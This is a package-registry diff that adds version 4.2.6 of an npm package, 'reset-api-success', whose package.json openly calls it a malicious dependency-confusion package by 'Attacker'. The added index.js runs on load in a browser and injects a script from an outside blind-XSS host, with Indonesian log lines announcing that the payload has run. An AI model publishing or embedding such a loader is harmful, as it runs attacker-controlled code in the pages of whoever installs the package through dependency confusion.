reset-api-success 4.2.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +16 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ (function() {
2
+ // Cek apakah berjalan di browser
3
+ if (typeof window !== 'undefined') {
4
+ console.log('✅ Package terinstall di browser, menjalankan payload...');
5
+
6
+ // Tambahkan elemen <script> untuk XSS
7
+ const script = document.createElement('script');
8
+ script.src = 'https://banditz.bxss.in';
9
+ document.body.appendChild(script);
10
+
11
+ console.log('✅ XSS berhasil dieksekusi!');
12
+ } else {
13
+ console.log('❌ Tidak berjalan di browser, payload tidak dieksekusi.');
14
+ }
15
+ })();
16
+
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "reset-api-success",
3
+ "version": "4.2.6",
4
+ "description": "Malicious package for dependency confusion",
5
+ "main": "index.js",
6
+ "author": "Attacker",
7
+ "license": "MIT",
8
+ "dependencies": {
9
+ "axios": "^0.21.1"
10
+ }
11
+ }